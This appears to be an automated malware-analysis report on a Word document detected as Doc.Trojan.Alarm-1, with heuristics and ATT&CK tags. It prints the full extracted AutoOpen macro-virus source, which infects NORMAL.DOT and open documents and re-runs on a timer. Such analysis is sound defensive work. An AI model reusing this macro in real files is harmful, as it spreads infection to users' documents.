MALICIOUS
200
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
The sample contains legacy WordBasic macros, specifically an AutoOpen macro, which is a strong indicator of malicious intent. The script attempts to copy the AutoOpen macro to the user's NORMAL.DOT template, suggesting an attempt at persistence or infection of other documents. The ClamAV detection 'Doc.Trojan.Alarm-1' further supports the malicious classification.
Heuristics 4
-
ClamAV: Doc.Trojan.Alarm-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Alarm-1
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 9984 bytes |
SHA-256: 071cfccb6bb941df5e35398f28e8b85f208ea8d24bb9a362bb23b78fafba08ef |
|||
|
Detection
ClamAV:
Doc.Trojan.Alarm-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "AutoOpen"
Public Sub MAIN()
Dim MyFile$
Dim x
Dim normal
Dim OkExist
Dim i
Dim TemplateName$
Dim active
Dim internal
Dim alarmtime
Dim alarm$
' set document mode
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileSaveAs(False)
EnterMyFile$ = WordBasic.[FileName$]()
If InStr(1, MyFile$, "Îĵµ") = 1 Then
x = WordBasic.Dialog.FileSaveAs(dlg)
MyFile$ = dlg.Name
' MsgBox MyFile$, Str$(dlg.AddToMru), 64
Else
' dlg.Format = 0
WordBasic.CurValues.FileSaveAs dlg
MyFile$ = dlg.Name
' MsgBox MyFile$, Str$(dlg.AddToMru), 64
End If
' if it is Macro Document, then goto bye2
If WordBasic.IsMacro(0) = -1 Then GoTo Bye2
' if Document is new, then goto Bye1
If MyFile$ = "" Then GoTo Bye1
' Save file as template
If dlg.Format = 0 Then
WordBasic.FileSaveAs Name:=MyFile$, Format:=1, LockAnnot:=0, Password:="", AddToMru:=1, WritePassword:="", RecommendReadOnly:=0, EmbedFonts:=0, NativePictureFormat:=0, FormsData:=0, SaveAsAOCELetter:=0
Else
WordBasic.FileSave
End If
' search macro AutoOpen in Normal template
normal = WordBasic.CountMacros(0)
OkExist = 0
For i = 1 To normal
If WordBasic.[MacroName$](i, 0) = "AutoOpen" Then OkExist = 1
Next i
' Get normal template name
TemplateName$ = WordBasic.[DefaultDir$](2) + "\NORMAL.DOT"
'MsgBox TemplateName$, "", 64
' copy AutoOpen to normal template
If OkExist <> 1 Then
WordBasic.Organizer Copy:=1, Source:=MyFile$, Destination:=TemplateName$, Name:="AutoOpen", Tab:=3
' Organizer .Copy, .Source = MyFile$, .Destination = TemplateName$, .Name = "SaveDoc", .Tab = 3
WordBasic.FileSaveAs Name:=TemplateName$, Format:=1, LockAnnot:=0, Password:="", AddToMru:=0, WritePassword:="", RecommendReadOnly:=0, EmbedFonts:=0, NativePictureFormat:=0, FormsData:=0, SaveAsAOCELetter:=0
End If
' search macro AutoOpen in active document
active = WordBasic.CountMacros(1)
OkExist = 0
For i = 1 To active
If WordBasic.[MacroName$](i, 1) = "AutoOpen" Then OkExist = 1
Next i
' copy AutoOpen to active template
If OkExist <> 1 Then
WordBasic.Organizer Copy:=1, Source:=TemplateName$, Destination:=MyFile$, Name:="AutoOpen", Tab:=3
' Organizer .Copy, .Source = TemplateName$, .Destination = MyFile$, .Name = "SaveDoc", .Tab = 3
WordBasic.FileSave
End If
Bye1:
' set document mode
dlg.Format = 0
Bye2:
' set timer to run AutoOpen again
internal = 5 / 24 / 60 ' internal time is 5 minutes
alarmtime = WordBasic.TimeValue(WordBasic.[Time$]()) + internal
alarm$ = WordBasic.[Time$](alarmtime)
WordBasic.OnTime alarm$, "AutoOpen"
End Sub
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
' Processing file: /opt/analyzer/scan_staging/56a4f3ecca174f04aa337937529ee4dd.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/AutoOpen - 5237 bytes
' Line #0:
' Line #1:
' FuncDefn (Public Sub MAIN())
' Line #2:
' Dim
' VarDefn MyFile
' Line #3:
' Dim
' VarDefn x
' Line #4:
' Dim
' VarDefn normal
' Line #5:
' Dim
' VarDefn OkExist
' Line #6:
' Dim
' VarDefn i
' Line #7:
' Dim
' VarDefn TemplateName
' Line #8:
' Dim
' VarDefn active
' Line #9:
' Dim
' VarDefn internal
' Line #10:
' Dim
' VarDefn alarmtime
' Line #11:
' Dim
' VarDefn alarm
' Line #12:
' Line #13:
' QuoteRem 0x0000 0x0012 " set document mode"
' Line #14:
' Dim
' VarDefn dlg (As Object)
' BoS 0x0000
' SetStmt
' LitVarSpecial (False)
' Ld WordBasic
' MemLd DialogRecord
' ArgsMemLd FileSaveAs 0x0001
' Set dlg
' Line #15:
' Ld WordBasic
' ArgsMemLd [FileName$] 0x0000
' St EnterMyFile$
' Line #16:
' LitDI2 0x0001
' Ld MyFile$
' LitStr 0x0004 "Îĵµ"
' FnInStr3
' LitDI2 0x0001
' Eq
' IfBlock
' Line #17:
' Ld dlg
' Ld WordBasic
' MemLd D
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.